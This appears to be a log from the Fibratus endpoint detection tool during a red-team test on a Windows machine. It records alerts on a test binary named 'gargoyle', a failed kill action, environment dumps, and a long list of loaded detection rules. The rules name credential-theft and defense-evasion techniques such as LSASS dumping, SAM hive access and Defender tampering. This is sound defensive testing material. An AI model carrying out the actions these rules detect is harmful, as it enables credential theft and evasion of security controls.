Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:122fa9ef-fbd4-4f2a-bf38-7020b0fd087b WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2445651 + Pid: 11608 + Tid: 18504 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:42:44.3392985 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 15dd43000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c73746080, name➜ conhost.exe, pid➜ 3948, ppid➜ 11608, real_ppid➜ 11608, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:42:44.3392985 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1516587381749186560, rule.name: Suspicious child process integrity level, technique.name: Access Token Manipulation, subtechnique.id: T1134.002, tactic.id: TA0004, tactic.name: Privilege Escalation, technique.ref: https://attack.mitre.org/techniques/T1134/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, technique.id: T1134, subtechnique.name: Create Process with Token, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 11608 + Ppid: 18532 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=255" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=7973.4313" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=255" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=7973.4313" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T20:42:44+01:00 level=info msg=executing kill action: pids=[11608 3948] rule=Suspicious child process integrity level source=rules/engine.go:294 +time=2025-11-04T20:42:44+01:00 level=error msg=unable to execute rule action: fail to execute action for "Suspicious child process integrity level" rule: failed to kill pid 11608: Access is denied. source=rules/engine.go:252 +time=2025-11-04T20:42:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T20:42:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T20:42:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T20:44:44+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:44:44+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T20:44:44+01:00 level=info msg=bootstrapping with pid 3056. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T20:44:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false content-type=>text/html port=>25 to=>[]] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-fileio=>true enable-vamap=>true enable-net=>true enable-mem=>false buffer-size=>512 min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false flush-interval=>1s enable-threadpool=>false enable-image=>true enable-thread=>true stack-enrichment=>true max-buffers=>36 enable-audit-api=>true enable-dns=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-age=>0 max-size=>100 max-backups=>15] + output ......................... [ http=>[ method=>POST timeout=>5s enable-gzip=>false serializer=>json endpoints=>[] tls-insecure-skip-verify=>false enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] bulk-workers=>1 sniff=>false enabled=>false template-name=>fibratus flush-period=>1s gzip-compression=>false healthcheck-timeout=>5s index-name=>fibratus trace-log=>false timeout=>5s healthcheck=>true healthcheck-interval=>10s] amqp=>[ passive=>false tls-insecure-skip-verify=>false durable=>false routing-key=>fibratus exchange=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ exchange-type=>topic timeout=>5s enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-files=>false skip-registry=>false excluded-procs=>[] fastscan=>true skip-mmaps=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T20:44:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T20:44:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T20:45:02+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Suspicious process C:\Fibratus\redteam\gargoyle\main.exe spawned the process C:\WINDOWS\system32\WerFault.exe with System integrity level + Event(s): + Seq: 2452379 + Pid: 18532 + Tid: 1180 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:44:48.9628257 +0100 CET + Params: cmdline➜ "C:\Fibratus\redteam\gargoyle\main.exe", directory_table_base➜ 158eba000, domain➜ ARCHRABBIT, exe➜ C:\Fibratus\redteam\gargoyle\main.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c725ec080, name➜ main.exe, pid➜ 18912, ppid➜ 18532, real_ppid➜ 18532, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:44:48.9627744 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: Suspicious child process integrity level, technique.ref: https://attack.mitre.org/techniques/T1134/, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, technique.id: T1134, technique.name: Access Token Manipulation, subtechnique.id: T1134.002, subtechnique.name: Create Process with Token, tactic.id: TA0004, rule.seq.link: 4470948737304231936 + + Pid: 18532 + Ppid: 3544 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 